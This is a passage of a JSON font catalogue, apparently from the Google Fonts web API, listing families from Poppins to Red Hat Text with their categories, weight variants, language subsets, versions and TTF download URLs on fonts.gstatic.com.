"http://fonts.gstatic.com/s/poorstory/v8/jizfREFUsnUct9P6cDfd4OmnLD0Z4zM.ttf" } }, { "kind": "webfonts#webfont", "family": "Poppins", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-10-15", "files": { "100": "http://fonts.gstatic.com/s/poppins/v9/pxiGyp8kv8JHgFVrLPTed3FBGPaTSQ.ttf", "200": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLFj_V1tvFP-KUEg.ttf", "300": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLDz8V1tvFP-KUEg.ttf", "500": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLGT9V1tvFP-KUEg.ttf", "600": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLEj6V1tvFP-KUEg.ttf", "700": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLCz7V1tvFP-KUEg.ttf", "800": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLDD4V1tvFP-KUEg.ttf", "900": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLBT5V1tvFP-KUEg.ttf", "100italic": "http://fonts.gstatic.com/s/poppins/v9/pxiAyp8kv8JHgFVrJJLmE3tFOvODSVFF.ttf", "200italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLmv1plEN2PQEhcqw.ttf", "300italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLm21llEN2PQEhcqw.ttf", "regular": "http://fonts.gstatic.com/s/poppins/v9/pxiEyp8kv8JHgFVrFJDUc1NECPY.ttf", "italic": "http://fonts.gstatic.com/s/poppins/v9/pxiGyp8kv8JHgFVrJJLed3FBGPaTSQ.ttf", "500italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLmg1hlEN2PQEhcqw.ttf", "600italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLmr19lEN2PQEhcqw.ttf", "700italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLmy15lEN2PQEhcqw.ttf", "800italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLm111lEN2PQEhcqw.ttf", "900italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLm81xlEN2PQEhcqw.ttf" } }, { "kind": "webfonts#webfont", "family": "Port Lligat Sans", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/portlligatsans/v8/kmKmZrYrGBbdN1aV7Vokow6Lw4s4l7N0Tx4xEcQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Port Lligat Slab", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/portlligatslab/v8/LDIpaoiQNgArA8kR7ulhZ8P_NYOss7ob9yGLmfI.ttf" } }, { "kind": "webfonts#webfont", "family": "Pragati Narrow", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/pragatinarrow/v5/vm8sdRf0T0bS1ffgsPB7WZ-mD2ZD5fd_GJMTlo_4.ttf", "regular": "http://fonts.gstatic.com/s/pragatinarrow/v5/vm8vdRf0T0bS1ffgsPB7WZ-mD17_ytN3M48a.ttf" } }, { "kind": "webfonts#webfont", "family": "Prata", "category": "serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "vietnamese" ], "version": "v11", "lastModified": "2020-01-30", "files": { "regular": "http://fonts.gstatic.com/s/prata/v11/6xKhdSpbNNCT-vWIAG_5LWwJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Preahvihear", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/preahvihear/v11/6NUS8F-dNQeEYhzj7uluxswE49FJf8Wv.ttf" } }, { "kind": "webfonts#webfont", "family": "Press Start 2P", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pressstart2p/v8/e3t4euO8T-267oIAQAu6jDQyK0nSgPJE4580.ttf" } }, { "kind": "webfonts#webfont", "family": "Pridi", "category": "serif", "variants": [ "200", "300", "regular", "500", "600", "700" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc1SiE0jRUG0AqUc.ttf", "300": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc02i00jRUG0AqUc.ttf", "500": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc1uik0jRUG0AqUc.ttf", "600": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc1CjU0jRUG0AqUc.ttf", "700": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc0mjE0jRUG0AqUc.ttf", "regular": "http://fonts.gstatic.com/s/pridi/v5/2sDQZG5JnZLfkfWao2krbl29.ttf" } }, { "kind": "webfonts#webfont", "family": "Princess Sofia", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/princesssofia/v8/qWczB6yguIb8DZ_GXZst16n7GRz7mDUoupoI.ttf" } }, { "kind": "webfonts#webfont", "family": "Prociono", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/prociono/v9/r05YGLlR-KxAf9GGO8upyDYtStiJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Prompt", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v4", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/prompt/v4/-W_9XJnvUD7dzB2CA9oYREcjeo0k.ttf", "200": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cr_s4bmkvc5Q9dw.ttf", "300": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cy_g4bmkvc5Q9dw.ttf", "500": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Ck_k4bmkvc5Q9dw.ttf", "600": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cv_44bmkvc5Q9dw.ttf", "700": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2C2_84bmkvc5Q9dw.ttf", "800": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cx_w4bmkvc5Q9dw.ttf", "900": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2C4_04bmkvc5Q9dw.ttf", "100italic": "http://fonts.gstatic.com/s/prompt/v4/-W_7XJnvUD7dzB2KZeJ8TkMBf50kbiM.ttf", "200italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLQb2MrUZEtdzow.ttf", "300italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeK0bGMrUZEtdzow.ttf", "regular": "http://fonts.gstatic.com/s/prompt/v4/-W__XJnvUD7dzB26Z9AcZkIzeg.ttf", "italic": "http://fonts.gstatic.com/s/prompt/v4/-W_9XJnvUD7dzB2KZdoYREcjeo0k.ttf", "500italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLsbWMrUZEtdzow.ttf", "600italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLAamMrUZEtdzow.ttf", "700italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeKka2MrUZEtdzow.ttf", "800italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeK4aGMrUZEtdzow.ttf", "900italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeKcaWMrUZEtdzow.ttf" } }, { "kind": "webfonts#webfont", "family": "Prosto One", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/prostoone/v8/OpNJno4VhNfK-RgpwWWxpipfWhXD00c.ttf" } }, { "kind": "webfonts#webfont", "family": "Proza Libre", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-16", "files": { "500": "http://fonts.gstatic.com/s/prozalibre/v4/LYjbdGHgj0k1DIQRyUEyyELbV__fcpC69i6N.ttf", "600": "http://fonts.gstatic.com/s/prozalibre/v4/LYjbdGHgj0k1DIQRyUEyyEL3UP_fcpC69i6N.ttf", "700": "http://fonts.gstatic.com/s/prozalibre/v4/LYjbdGHgj0k1DIQRyUEyyEKTUf_fcpC69i6N.ttf", "800": "http://fonts.gstatic.com/s/prozalibre/v4/LYjbdGHgj0k1DIQRyUEyyEKPUv_fcpC69i6N.ttf", "regular": "http://fonts.gstatic.com/s/prozalibre/v4/LYjGdGHgj0k1DIQRyUEyyHovftvXWYyz.ttf", "italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjEdGHgj0k1DIQRyUEyyEotdN_1XJyz7zc.ttf", "500italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjZdGHgj0k1DIQRyUEyyEotTCvceJSY8z6Np1k.ttf", "600italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjZdGHgj0k1DIQRyUEyyEotTAfbeJSY8z6Np1k.ttf", "700italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjZdGHgj0k1DIQRyUEyyEotTGPaeJSY8z6Np1k.ttf", "800italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjZdGHgj0k1DIQRyUEyyEotTH_ZeJSY8z6Np1k.ttf" } }, { "kind": "webfonts#webfont", "family": "Public Sans", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900", "100italic", "200italic", "300italic", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v3", "lastModified": "2020-04-21", "files": { "100": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuFpi5ww0pX189fg.ttf", "200": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymulpm5ww0pX189fg.ttf", "300": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuSJm5ww0pX189fg.ttf", "500": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuJJm5ww0pX189fg.ttf", "600": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuyJ65ww0pX189fg.ttf", "700": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymu8Z65ww0pX189fg.ttf", "800": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymulp65ww0pX189fg.ttf", "900": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuv565ww0pX189fg.ttf", "regular": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuFpm5ww0pX189fg.ttf", "100italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpRgQctfVotfj7j.ttf", "200italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673trRgActfVotfj7j.ttf", "300italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673toPgActfVotfj7j.ttf", "italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpRgActfVotfj7j.ttf", "500italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpjgActfVotfj7j.ttf", "600italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tqPhwctfVotfj7j.ttf", "700italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tq2hwctfVotfj7j.ttf", "800italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673trRhwctfVotfj7j.ttf", "900italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tr4hwctfVotfj7j.ttf" } }, { "kind": "webfonts#webfont", "family": "Puritan", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/puritan/v11/845dNMgkAJ2VTtIozCbfYd6j-0rGRes.ttf", "regular": "http://fonts.gstatic.com/s/puritan/v11/845YNMgkAJ2VTtIo9JrwRdaI50M.ttf", "italic": "http://fonts.gstatic.com/s/puritan/v11/845aNMgkAJ2VTtIoxJj6QfSN90PfXA.ttf", "700italic": "http://fonts.gstatic.com/s/puritan/v11/845fNMgkAJ2VTtIoxJjC_dup_2jDVevnLQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Purple Purse", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/purplepurse/v8/qWctB66gv53iAp-Vfs4My6qyeBb_ujA4ug.ttf" } }, { "kind": "webfonts#webfont", "family": "Quando", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/quando/v8/xMQVuFNaVa6YuW0pC6WzKX_QmA.ttf" } }, { "kind": "webfonts#webfont", "family": "Quantico", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/quantico/v9/rax5HiSdp9cPL3KIF7TQARhasU7Q8Cad.ttf", "regular": "http://fonts.gstatic.com/s/quantico/v9/rax-HiSdp9cPL3KIF4xsLjxSmlLZ.ttf", "italic": "http://fonts.gstatic.com/s/quantico/v9/rax4HiSdp9cPL3KIF7xuJDhwn0LZ6T8.ttf", "700italic": "http://fonts.gstatic.com/s/quantico/v9/rax7HiSdp9cPL3KIF7xuHIRfu0ry9TadML4.ttf" } }, { "kind": "webfonts#webfont", "family": "Quattrocento", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/quattrocento/v11/OZpbg_xvsDZQL_LKIF7q4jP_eE3fd6PZsXcM9w.ttf", "regular": "http://fonts.gstatic.com/s/quattrocento/v11/OZpEg_xvsDZQL_LKIF7q4jPHxGL7f4jFuA.ttf" } }, { "kind": "webfonts#webfont", "family": "Quattrocento Sans", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v12", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/quattrocentosans/v12/va9Z4lja2NVIDdIAAoMR5MfuElaRB0RykmrWN33AiasJ.ttf", "regular": "http://fonts.gstatic.com/s/quattrocentosans/v12/va9c4lja2NVIDdIAAoMR5MfuElaRB3zOvU7eHGHJ.ttf", "italic": "http://fonts.gstatic.com/s/quattrocentosans/v12/va9a4lja2NVIDdIAAoMR5MfuElaRB0zMt0r8GXHJkLI.ttf", "700italic": "http://fonts.gstatic.com/s/quattrocentosans/v12/va9X4lja2NVIDdIAAoMR5MfuElaRB0zMj_bTPXnijLsJV7E.ttf" } }, { "kind": "webfonts#webfont", "family": "Questrial", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/questrial/v9/QdVUSTchPBm7nuUeVf7EuStkm20oJA.ttf" } }, { "kind": "webfonts#webfont", "family": "Quicksand", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v20", "lastModified": "2020-02-05", "files": { "300": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkKEo18G0wx40QDw.ttf", "500": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkM0o18G0wx40QDw.ttf", "600": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkCEv18G0wx40QDw.ttf", "700": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkBgv18G0wx40QDw.ttf", "regular": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkP8o18G0wx40QDw.ttf" } }, { "kind": "webfonts#webfont", "family": "Quintessential", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/quintessential/v7/fdNn9sOGq31Yjnh3qWU14DdtjY5wS7kmAyxM.ttf" } }, { "kind": "webfonts#webfont", "family": "Qwigley", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/qwigley/v9/1cXzaU3UGJb5tGoCuVxsi1mBmcE.ttf" } }, { "kind": "webfonts#webfont", "family": "Racing Sans One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/racingsansone/v7/sykr-yRtm7EvTrXNxkv5jfKKyDCwL3rmWpIBtA.ttf" } }, { "kind": "webfonts#webfont", "family": "Radley", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v14", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/radley/v14/LYjDdGzinEIjCN19oAlEpVs3VQ.ttf", "italic": "http://fonts.gstatic.com/s/radley/v14/LYjBdGzinEIjCN1NogNAh14nVcfe.ttf" } }, { "kind": "webfonts#webfont", "family": "Rajdhani", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/rajdhani/v9/LDI2apCSOBg7S-QT7pasEcOsc-bGkqIw.ttf", "500": "http://fonts.gstatic.com/s/rajdhani/v9/LDI2apCSOBg7S-QT7pb0EMOsc-bGkqIw.ttf", "600": "http://fonts.gstatic.com/s/rajdhani/v9/LDI2apCSOBg7S-QT7pbYF8Osc-bGkqIw.ttf", "700": "http://fonts.gstatic.com/s/rajdhani/v9/LDI2apCSOBg7S-QT7pa8FsOsc-bGkqIw.ttf", "regular": "http://fonts.gstatic.com/s/rajdhani/v9/LDIxapCSOBg7S-QT7q4AOeekWPrP.ttf" } }, { "kind": "webfonts#webfont", "family": "Rakkas", "category": "display", "variants": [ "regular" ], "subsets": [ "arabic", "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rakkas/v7/Qw3cZQlNHiblL3j_lttPOeMcCw.ttf" } }, { "kind": "webfonts#webfont", "family": "Raleway", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v14", "lastModified": "2019-07-23", "files": { "100": "http://fonts.gstatic.com/s/raleway/v14/1Ptsg8zYS_SKggPNwE4ISotrDfGGxA.ttf", "200": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwOIpaqFFAfif3Vo.ttf", "300": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwIYqaqFFAfif3Vo.ttf", "500": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwN4raqFFAfif3Vo.ttf", "600": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwPIsaqFFAfif3Vo.ttf", "700": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwJYtaqFFAfif3Vo.ttf", "800": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwIouaqFFAfif3Vo.ttf", "900": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwK4vaqFFAfif3Vo.ttf", "100italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptqg8zYS_SKggPNyCgwLoFvL_SWxEMT.ttf", "200italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgwgqBPBdqazVoK4A.ttf", "300italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgw5qNPBdqazVoK4A.ttf", "regular": "http://fonts.gstatic.com/s/raleway/v14/1Ptug8zYS_SKggPN-CoCTqluHfE.ttf", "italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptsg8zYS_SKggPNyCgISotrDfGGxA.ttf", "500italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgwvqJPBdqazVoK4A.ttf", "600italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgwkqVPBdqazVoK4A.ttf", "700italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgw9qRPBdqazVoK4A.ttf", "800italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgw6qdPBdqazVoK4A.ttf", "900italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgwzqZPBdqazVoK4A.ttf" } }, { "kind": "webfonts#webfont", "family": "Raleway Dots", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ralewaydots/v7/6NUR8FifJg6AfQvzpshgwJ8kyf9Fdty2ew.ttf" } }, { "kind": "webfonts#webfont", "family": "Ramabhadra", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ramabhadra/v9/EYq2maBOwqRW9P1SQ83LehNGX5uWw3o.ttf" } }, { "kind": "webfonts#webfont", "family": "Ramaraja", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ramaraja/v4/SlGTmQearpYAYG1CABIkqnB6aSQU.ttf" } }, { "kind": "webfonts#webfont", "family": "Rambla", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/rambla/v7/snfos0ip98hx6mrMn50qPvN4yJuDYQ.ttf", "regular": "http://fonts.gstatic.com/s/rambla/v7/snfrs0ip98hx6mr0I7IONthkwQ.ttf", "italic": "http://fonts.gstatic.com/s/rambla/v7/snfps0ip98hx6mrEIbgKFN10wYKa.ttf", "700italic": "http://fonts.gstatic.com/s/rambla/v7/snfus0ip98hx6mrEIYC2O_l86p6TYS-Y.ttf" } }, { "kind": "webfonts#webfont", "family": "Rammetto One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rammettoone/v8/LhWiMV3HOfMbMetJG3lQDpp9Mvuciu-_SQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Ranchers", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ranchers/v7/zrfm0H3Lx-P2Xvs2AoDYDC79XTHv.ttf" } }, { "kind": "webfonts#webfont", "family": "Rancho", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rancho/v10/46kulbzmXjLaqZRlbWXgd0RY1g.ttf" } }, { "kind": "webfonts#webfont", "family": "Ranga", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/ranga/v5/C8cg4cYisGb28qY-AxgR6X2NZAn2.ttf", "regular": "http://fonts.gstatic.com/s/ranga/v5/C8ct4cYisGb28p6CLDwZwmGE.ttf" } }, { "kind": "webfonts#webfont", "family": "Rasa", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "gujarati", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/rasa/v5/xn7gYHIn1mWmdg52sgC7S9XdZN8.ttf", "500": "http://fonts.gstatic.com/s/rasa/v5/xn7gYHIn1mWmdlZ3sgC7S9XdZN8.ttf", "600": "http://fonts.gstatic.com/s/rasa/v5/xn7gYHIn1mWmdnpwsgC7S9XdZN8.ttf", "700": "http://fonts.gstatic.com/s/rasa/v5/xn7gYHIn1mWmdh5xsgC7S9XdZN8.ttf", "regular": "http://fonts.gstatic.com/s/rasa/v5/xn7vYHIn1mWmTqJelgiQV9w.ttf" } }, { "kind": "webfonts#webfont", "family": "Rationale", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rationale/v11/9XUnlJ92n0_JFxHIfHcsdlFMzLC2Zw.ttf" } }, { "kind": "webfonts#webfont", "family": "Ravi Prakash", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/raviprakash/v6/gokpH6fsDkVrF9Bv9X8SOAKHmNZEq6TTFw.ttf" } }, { "kind": "webfonts#webfont", "family": "Red Hat Display", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "700", "700italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v3", "lastModified": "2019-11-05", "files": { "500": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIV7wUr0m80wwYf0QCXZzYzUoToDh2EbaDBAEdAbw.ttf", "700": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIV7wUr0m80wwYf0QCXZzYzUoToRhuEbaDBAEdAbw.ttf", "900": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIV7wUr0m80wwYf0QCXZzYzUoTofhmEbaDBAEdAbw.ttf", "regular": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIQ7wUr0m80wwYf0QCXZzYzUoTQ-jSgZYvdCQ.ttf", "italic": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIS7wUr0m80wwYf0QCXZzYzUoTg-D6kR47NCV5Z.ttf", "500italic": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AZQbqrFIkJQb7zU.ttf", "700italic": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AYYaKrFIkJQb7zU.ttf", "900italic": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AYgaqrFIkJQb7zU.ttf" } }, { "kind": "webfonts#webfont", "family": "Red Hat Text", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v2", "lastModified": "2019-11-05", "files": { "500": 